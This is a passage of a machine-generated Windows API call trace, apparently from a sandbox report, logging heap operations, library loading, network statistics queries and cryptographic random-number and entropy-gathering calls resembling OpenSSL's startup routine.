lpType=0x9baf10*=0x4, lpData=0x33de568*=0x0, lpcbData=0x9baf18*=0x4) returned 0x0 [0079.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0079.548] RegCloseKey (hKey=0x360) returned 0x0 [0079.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3621558 [0079.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0079.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3621558 | out: hHeap=0x2ad0000) returned 1 [0079.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20078 [0079.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a48a8 | out: hHeap=0x2ad0000) returned 1 [0079.549] GetCurrentThreadId () returned 0x9b0 [0079.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0079.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0079.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30282d8 [0079.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0079.549] GetCurrentThreadId () returned 0x9b0 [0079.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d58 [0079.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0079.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d70 [0079.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0079.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34) returned 0x2a8a6e8 [0079.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3648 | out: hHeap=0x2ad0000) returned 1 [0079.550] GetCurrentThreadId () returned 0x9b0 [0079.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d88 [0079.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e18 [0079.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0079.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0079.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028558 [0079.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3c68 | out: hHeap=0x2ad0000) returned 1 [0079.550] GetCurrentThreadId () returned 0x9b0 [0079.550] GetCurrentThreadId () returned 0x9b0 [0079.551] GetCurrentThreadId () returned 0x9b0 [0079.551] GetCurrentThreadId () returned 0x9b0 [0079.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d40 [0079.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028378 | out: hHeap=0x2ad0000) returned 1 [0079.551] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81d70, Size=0x20) returned 0x30284e0 [0079.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36216e8 [0079.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0079.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36216e8 | out: hHeap=0x2ad0000) returned 1 [0079.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a200d8 [0079.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4598 | out: hHeap=0x2ad0000) returned 1 [0079.551] GetCurrentThreadId () returned 0x9b0 [0079.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81cf8 [0079.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0079.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5b08 [0079.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028328 [0079.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5b08 | out: hHeap=0x2ad0000) returned 1 [0079.552] GetCurrentThreadId () returned 0x9b0 [0079.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81da0 [0079.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f38 [0079.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0079.552] GetCurrentThreadId () returned 0x9b0 [0079.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3621b98 [0079.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0079.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3621b98 | out: hHeap=0x2ad0000) returned 1 [0079.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a8a928 [0079.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0079.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f68 [0079.552] GetCurrentThreadId () returned 0x9b0 [0079.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e78 [0079.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0079.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18e18 | out: hHeap=0x2ad0000) returned 1 [0079.553] GetCurrentThreadId () returned 0x9b0 [0079.553] GetCurrentThreadId () returned 0x9b0 [0079.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0079.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0079.553] GetCurrentThreadId () returned 0x9b0 [0079.553] GetCurrentThreadId () returned 0x9b0 [0079.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0079.553] GetCurrentThreadId () returned 0x9b0 [0079.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e90 [0079.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d70 [0079.553] GetCurrentThreadId () returned 0x9b0 [0079.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81db8 [0079.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0079.553] GetCurrentThreadId () returned 0x9b0 [0079.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e60 [0079.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e60 | out: hHeap=0x2ad0000) returned 1 [0079.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d70 | out: hHeap=0x2ad0000) returned 1 [0079.554] GetCurrentThreadId () returned 0x9b0 [0079.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81dd0 [0079.554] GetCurrentThreadId () returned 0x9b0 [0079.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f80 [0079.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0079.554] GetCurrentThreadId () returned 0x9b0 [0079.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e30 [0079.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de528 [0079.554] GetCurrentThreadId () returned 0x9b0 [0079.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f80 | out: hHeap=0x2ad0000) returned 1 [0079.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0079.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81de8 [0079.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81de8 | out: hHeap=0x2ad0000) returned 1 [0079.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81dd0 | out: hHeap=0x2ad0000) returned 1 [0079.554] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81e90, Size=0x20) returned 0x3028558 [0079.555] GetCurrentThreadId () returned 0x9b0 [0079.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f80 [0079.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f80 | out: hHeap=0x2ad0000) returned 1 [0079.555] GetCurrentThreadId () returned 0x9b0 [0079.555] GetCurrentThreadId () returned 0x9b0 [0079.555] GetCurrentThreadId () returned 0x9b0 [0079.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f80 [0079.555] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81f80, Size=0x20) returned 0x30281c0 [0079.555] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30281c0, Size=0x40) returned 0x2a192e0 [0079.555] GetCurrentThreadId () returned 0x9b0 [0079.555] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x64) returned 0x2a19a48 [0079.555] GetCurrentThreadId () returned 0x9b0 [0079.555] GetCurrentThreadId () returned 0x9b0 [0079.555] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19a48, Size=0x8c) returned 0x2ac0910 [0079.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4a8 [0079.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81f80 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e30 | out: hHeap=0x2ad0000) returned 1 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81db8 | out: hHeap=0x2ad0000) returned 1 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0910 | out: hHeap=0x2ad0000) returned 1 [0079.556] GetCurrentThreadId () returned 0x9b0 [0079.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x358a620 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0c18 | out: hHeap=0x2ad0000) returned 1 [0079.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0079.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0079.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5b08 [0079.556] GetCurrentThreadId () returned 0x9b0 [0079.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d70 [0079.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d70 | out: hHeap=0x2ad0000) returned 1 [0079.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0079.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0079.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0079.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0079.557] GetCurrentThreadId () returned 0x9b0 [0079.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0079.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0079.557] GetCurrentThreadId () returned 0x9b0 [0079.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0079.558] GetCurrentThreadId () returned 0x9b0 [0079.558] GetCurrentThreadId () returned 0x9b0 [0079.558] GetCurrentThreadId () returned 0x9b0 [0079.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60) returned 0x31de618 [0079.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18e18 [0079.558] GetCurrentThreadId () returned 0x9b0 [0079.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81d70 [0079.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183b40 [0079.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81fb0 [0079.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81db8 [0079.559] GetCurrentThreadId () returned 0x9b0 [0079.559] GetCurrentThreadId () returned 0x9b0 [0079.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81dd0 [0079.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183ae0 [0079.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e90 [0079.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81de8 [0079.559] GetCurrentThreadId () returned 0x9b0 [0079.560] GetCurrentThreadId () returned 0x9b0 [0079.560] GetCurrentThreadId () returned 0x9b0 [0079.560] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f2cf0 | out: hHeap=0x2ad0000) returned 1 [0079.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x344) returned 0x33f2cf0 [0079.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f2cf0 | out: hHeap=0x2ad0000) returned 1 [0079.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183b00 [0079.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e00 [0079.561] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81e00, Size=0x20) returned 0x3028260 [0079.561] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028260, Size=0x40) returned 0x2a18ea8 [0079.561] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ea8, Size=0x80) returned 0x33e90d0 [0079.561] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e90d0, Size=0x100) returned 0x32277a8 [0079.561] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32277a8, Size=0x200) returned 0x2c30fc8 [0079.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f2338 | out: hHeap=0x2ad0000) returned 1 [0079.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183b80 [0079.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e00 [0079.561] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81e00, Size=0x200) returned 0x2c307a8 [0079.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0079.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30281c0 [0079.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a60 [0079.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e00 [0079.562] GetCurrentThreadId () returned 0x9b0 [0079.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81e30 [0079.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183980 [0079.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e48 [0079.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81e60 [0079.562] GetCurrentThreadId () returned 0x9b0 [0079.562] GetCurrentThreadId () returned 0x9b0 [0079.562] GetCurrentThreadId () returned 0x9b0 [0079.563] GetCurrentThreadId () returned 0x9b0 [0079.563] GetCurrentThreadId () returned 0x9b0 [0079.563] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x761b0000 [0079.581] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x75e90000 [0079.581] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x738a0000 [0079.669] GetProcAddress (hModule=0x738a0000, lpProcName="NetStatisticsGet") returned 0x738a2ad0 [0079.669] GetProcAddress (hModule=0x738a0000, lpProcName="NetApiBufferFree") returned 0x738917c0 [0079.738] NetStatisticsGet (in: ServerName=0x0, Service=0x7425d10c, Level=0x0, Options=0x0, Buffer=0x9ba404 | out: Buffer=0x9ba404) returned 0x0 [0079.839] GetCurrentThreadId () returned 0x9b0 [0079.839] GetCurrentThreadId () returned 0x9b0 [0079.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0079.840] NetApiBufferFree (Buffer=0x106cc70) returned 0x0 [0079.840] NetStatisticsGet (in: ServerName=0x0, Service=0x7425d130, Level=0x0, Options=0x0, Buffer=0x9ba404 | out: Buffer=0x9ba404) returned 0x0 [0079.933] GetCurrentThreadId () returned 0x9b0 [0079.933] GetCurrentThreadId () returned 0x9b0 [0079.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0079.933] NetApiBufferFree (Buffer=0x106e330) returned 0x0 [0079.933] FreeLibrary (hLibModule=0x738a0000) returned 1 [0079.938] GetProcAddress (hModule=0x761b0000, lpProcName="CryptAcquireContextW") returned 0x761cfa40 [0079.938] GetProcAddress (hModule=0x761b0000, lpProcName="CryptGenRandom") returned 0x761d0730 [0079.938] GetProcAddress (hModule=0x761b0000, lpProcName="CryptReleaseContext") returned 0x761cfbc0 [0079.939] CryptAcquireContextW (in: phProv=0x9ba3e4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9ba3e4*=0x106cc98) returned 1 [0079.940] CryptGenRandom (in: hProv=0x106cc98, dwLen=0x40, pbBuffer=0x9ba758 | out: pbBuffer=0x9ba758) returned 1 [0079.940] GetCurrentThreadId () returned 0x9b0 [0079.940] GetCurrentThreadId () returned 0x9b0 [0079.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0079.940] CryptReleaseContext (hProv=0x106cc98, dwFlags=0x0) returned 1 [0079.940] CryptAcquireContextW (in: phProv=0x9ba3e4, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x9ba3e4*=0x106cc98) returned 0 [0079.941] FreeLibrary (hLibModule=0x761b0000) returned 1 [0079.941] GetVersion () returned 0x23f00206 [0079.941] GetModuleHandleA (lpModuleName=0x0) returned 0xd50000 [0079.941] GetProcAddress (hModule=0xd50000, lpProcName="_OPENSSL_isservice") returned 0x0 [0079.941] GetProcessWindowStation () returned 0xb8 [0079.941] GetUserObjectInformationW (in: hObj=0xb8, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x9ba328 | out: pvInfo=0x0, lpnLengthNeeded=0x9ba328) returned 0 [0079.941] GetLastError () returned 0x7a [0079.941] GetUserObjectInformationW (in: hObj=0xb8, nIndex=2, pvInfo=0x9ba300, nLength=0x10, lpnLengthNeeded=0x9ba328 | out: pvInfo=0x9ba300, lpnLengthNeeded=0x9ba328) returned 1 [0079.941] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x74b70000 [0079.942] GetProcAddress (hModule=0x74b70000, lpProcName="GetForegroundWindow") returned 0x74ba3420 [0079.942] GetProcAddress (hModule=0x74b70000, lpProcName="GetCursorInfo") returned 0x74ba33b0 [0079.942] GetProcAddress (hModule=0x74b70000, lpProcName="GetQueueStatus") returned 0x74b9f510 [0079.942] GetForegroundWindow () returned 0x3007c [0079.942] GetCurrentThreadId () returned 0x9b0 [0079.942] GetCurrentThreadId () returned 0x9b0 [0079.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0079.942] GetVersion () returned 0x23f00206 [0079.942] GetVersion () returned 0x23f00206 [0079.942] GetCursorInfo (in: pci=0x9ba3c4 | out: pci=0x9ba3c4) returned 1 [0079.943] GetQueueStatus (flags=0xbf) returned 0x0 [0079.943] GetCurrentThreadId () returned 0x9b0 [0079.943] GetCurrentThreadId () returned 0x9b0 [0079.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0079.943] FreeLibrary (hLibModule=0x74b70000) returned 1 [0079.943] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0079.943] GetProcAddress (hModule=0x75e90000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0079.943] GetProcAddress (hModule=0x75e90000, lpProcName="Heap32First") returned 0x75edf2f0 [0079.944] GetProcAddress (hModule=0x75e90000, lpProcName="Heap32Next") returned 0x75edf510 [0079.944] GetProcAddress (hModule=0x75e90000, lpProcName="Heap32ListFirst") returned 0x75edf1a0 [0079.944] GetProcAddress (hModule=0x75e90000, lpProcName="Heap32ListNext") returned 0x75edf250 [0079.944] GetProcAddress (hModule=0x75e90000, lpProcName="Process32First") returned 0x75edf810 [0079.944] GetProcAddress (hModule=0x75e90000, lpProcName="Process32Next") returned 0x75edf9a0 [0079.944] GetProcAddress (hModule=0x75e90000, lpProcName="Thread32First") returned 0x75edfa80 [0079.944] GetProcAddress (hModule=0x75e90000, lpProcName="Thread32Next") returned 0x75edfb30 [0079.945] GetProcAddress (hModule=0x75e90000, lpProcName="Module32First") returned 0x75edfc90 [0079.945] GetProcAddress (hModule=0x75e90000, lpProcName="Module32Next") returned 0x75edfe30 [0079.945] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x37c [0079.961] GetTickCount () returned 0x29cb3 [0079.961] Heap32ListFirst (hSnapshot=0x37c, lphl=0x9ba3c8) returned 1 [0079.962] GetCurrentThreadId () returned 0x9b0 [0079.962] GetCurrentThreadId () returned 0x9b0 [0079.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0079.962] Heap32First (lphe=0x9ba388, th32ProcessID=0xdbc, th32HeapID=0x1030000) returned 1 [0079.976] GetCurrentThreadId () returned 0x9b0 [0079.976] GetCurrentThreadId () returned 0x9b0 [0079.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0079.976] Heap32Next (lphe=0x9ba388) returned 1 [0079.991] GetTickCount () returned 0x29cd2 [0079.991] GetCurrentThreadId () returned 0x9b0 [0079.991] GetCurrentThreadId () returned 0x9b0 [0079.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0079.991] Heap32Next (lphe=0x9ba388) returned 1 [0080.008] GetTickCount () returned 0x29ce2 [0080.008] GetCurrentThreadId () returned 0x9b0 [0080.008] GetCurrentThreadId () returned 0x9b0 [0080.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0080.008] Heap32Next (lphe=0x9ba388) returned 1 [0080.147] GetTickCount () returned 0x29d6f [0080.147] GetCurrentThreadId () returned 0x9b0 [0080.147] GetCurrentThreadId () returned 0x9b0 [0080.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0080.147] Heap32Next (lphe=0x9ba388) returned 1 [0080.160] GetTickCount () returned 0x29d7e [0080.160] GetCurrentThreadId () returned 0x9b0 [0080.160] GetCurrentThreadId () returned 0x9b0 [0080.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0080.160] Heap32Next (lphe=0x9ba388) returned 1 [0080.187] GetTickCount () returned 0x29d8e [0080.188] GetCurrentThreadId () returned 0x9b0 [0080.188] GetCurrentThreadId () returned 0x9b0 [0080.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0080.189] Heap32Next (lphe=0x9ba388) returned 1 [0080.222] GetTickCount () returned 0x29dbd [0080.222] GetCurrentThreadId () returned 0x9b0 [0080.222] GetCurrentThreadId () returned 0x9b0 [0080.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0080.222] Heap32Next (lphe=0x9ba388) returned 1 [0080.235] GetTickCount () returned 0x29dbd [0080.235] GetCurrentThreadId () returned 0x9b0 [0080.235] GetCurrentThreadId () returned 0x9b0 [0080.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0080.235] Heap32Next (lphe=0x9ba388) returned 1 [0080.248] GetTickCount () returned 0x29dcc [0080.248] GetCurrentThreadId () returned 0x9b0 [0080.248] GetCurrentThreadId () returned 0x9b0 [0080.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0080.249] Heap32Next (lphe=0x9ba388) returned 1 [0080.261] GetTickCount () returned 0x29ddc [0080.262] GetCurrentThreadId () returned 0x9b0 [0080.262] GetCurrentThreadId () returned 0x9b0 [0080.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.262] Heap32Next (lphe=0x9ba388) returned 1 [0080.275] GetTickCount () returned 0x29dec [0080.275] GetCurrentThreadId () returned 0x9b0 [0080.275] GetCurrentThreadId () returned 0x9b0 [0080.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.275] Heap32Next (lphe=0x9ba388) returned 1 [0080.288] GetTickCount () returned 0x29dfb [0080.288] GetCurrentThreadId () returned 0x9b0 [0080.288] GetCurrentThreadId () returned 0x9b0 [0080.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0080.288] Heap32Next (lphe=0x9ba388) returned 1 [0080.301] GetTickCount () returned 0x29e0b [0080.301] GetCurrentThreadId () returned 0x9b0 [0080.301] 